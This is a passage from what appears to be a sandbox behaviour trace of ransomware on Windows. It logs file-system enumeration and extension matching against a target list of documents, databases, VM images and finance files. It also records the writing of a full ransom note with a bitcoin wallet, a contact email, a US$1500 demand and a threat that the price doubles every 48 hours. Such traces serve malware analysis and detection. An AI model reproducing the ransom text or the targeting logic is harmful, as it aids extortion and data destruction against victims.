pszSpec="*.vsd") returned 0 [0100.387] lstrlenA (lpString="*.vsd") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.odg") returned 0 [0100.387] lstrlenA (lpString="*.odg") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.raw") returned 0 [0100.387] lstrlenA (lpString="*.raw") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.nef") returned 0 [0100.387] lstrlenA (lpString="*.nef") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.svg") returned 0 [0100.387] lstrlenA (lpString="*.svg") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.psd") returned 0 [0100.387] lstrlenA (lpString="*.psd") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.vmx") returned 0 [0100.387] lstrlenA (lpString="*.vmx") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.vmdk") returned 0 [0100.387] lstrlenA (lpString="*.vmdk") returned 6 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.vdi") returned 0 [0100.387] lstrlenA (lpString="*.vdi") returned 5 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.lay6") returned 0 [0100.387] lstrlenA (lpString="*.lay6") returned 6 [0100.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mpeg") returned 0 [0100.388] lstrlenA (lpString="*.mpeg") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.djvu") returned 0 [0100.388] lstrlenA (lpString="*.djvu") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.tiff") returned 0 [0100.388] lstrlenA (lpString="*.tiff") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.backup") returned 0 [0100.388] lstrlenA (lpString="*.backup") returned 8 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.pdf") returned 0 [0100.388] lstrlenA (lpString="*.pdf") returned 5 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.cert") returned 0 [0100.388] lstrlenA (lpString="*.cert") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.docm") returned 0 [0100.388] lstrlenA (lpString="*.docm") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.xlsm") returned 0 [0100.388] lstrlenA (lpString="*.xlsm") returned 6 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.dwg") returned 0 [0100.388] lstrlenA (lpString="*.dwg") returned 5 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.nd") returned 0 [0100.388] lstrlenA (lpString="*.nd") returned 4 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.tlg") returned 0 [0100.388] lstrlenA (lpString="*.tlg") returned 5 [0100.388] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.lgb") returned 0 [0100.389] lstrlenA (lpString="*.lgb") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mov") returned 0 [0100.389] lstrlenA (lpString="*.mov") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.xdw") returned 0 [0100.389] lstrlenA (lpString="*.xdw") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.ods") returned 0 [0100.389] lstrlenA (lpString="*.ods") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.wav") returned 0 [0100.389] lstrlenA (lpString="*.wav") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.mp3") returned 0 [0100.389] lstrlenA (lpString="*.mp3") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.aiff") returned 0 [0100.389] lstrlenA (lpString="*.aiff") returned 6 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.flac") returned 0 [0100.389] lstrlenA (lpString="*.flac") returned 6 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.m4a") returned 0 [0100.389] lstrlenA (lpString="*.m4a") returned 5 [0100.389] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", pszSpec="*.csv") returned 0 [0100.389] lstrlenA (lpString="*.csv") returned 5 [0100.389] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd1fd1f, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdd1fd1f, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.resources.dll", cAlternateFileName="")) returned 0 [0100.389] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.390] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.390] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.390] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x722e7373, dwReserved1=0x756f7365, cFileName="Microsoft.Windows.Diagnosis.SDHost", cAlternateFileName="MICROS~1.SDH")) returned 1 [0100.390] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.SDHost") returned -1 [0100.390] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.SDHost") returned -1 [0100.390] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.390] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.SDHost" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost" [0100.390] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost") returned 63 [0100.390] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.391] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.391] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.391] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.392] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.392] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.392] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.392] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.392] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\*.*") returned="*.*" [0100.392] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35" [0100.392] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35") returned 89 [0100.392] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.392] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.392] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.392] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.392] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.392] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdaca3edc, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x573bd805, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.SDHost.dll", cAlternateFileName="")) returned 1 [0100.392] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.393] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.dll") returned -1 [0100.393] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.SDHost.dll") returned -1 [0100.393] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.SDHost.dll") returned -1 [0100.393] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.393] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\" [0100.393] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.393] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.394] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.sdhost\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.394] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.sdhost\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.395] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0100.395] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.396] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.396] CloseHandle (hObject=0x90) returned 1 [0100.396] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.SDHost.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll" [0100.396] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.ems") returned 0 [0100.397] lstrlenA (lpString="*.ems") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.db") returned 0 [0100.397] lstrlenA (lpString="*.db") returned 4 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.dbf") returned 0 [0100.397] lstrlenA (lpString="*.dbf") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.myox") returned 0 [0100.397] lstrlenA (lpString="*.myox") returned 6 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.myo") returned 0 [0100.397] lstrlenA (lpString="*.myo") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbw") returned 0 [0100.397] lstrlenA (lpString="*.qbw") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbb") returned 0 [0100.397] lstrlenA (lpString="*.qbb") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbm") returned 0 [0100.397] lstrlenA (lpString="*.qbm") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbo") returned 0 [0100.397] lstrlenA (lpString="*.qbo") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbx") returned 0 [0100.397] lstrlenA (lpString="*.qbx") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qba") returned 0 [0100.397] lstrlenA (lpString="*.qba") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qby") returned 0 [0100.397] lstrlenA (lpString="*.qby") returned 5 [0100.397] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qbj") returned 0 [0100.398] lstrlenA (lpString="*.qbj") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.ofx") returned 0 [0100.398] lstrlenA (lpString="*.ofx") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.qif") returned 0 [0100.398] lstrlenA (lpString="*.qif") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mye") returned 0 [0100.398] lstrlenA (lpString="*.mye") returned 5 [0100.398] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.SDHost\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.SDHost.dll", pszSpec="*.mbox") returned 0 [0100.398] lstrlenA (lpString="*.mbox") returned 6 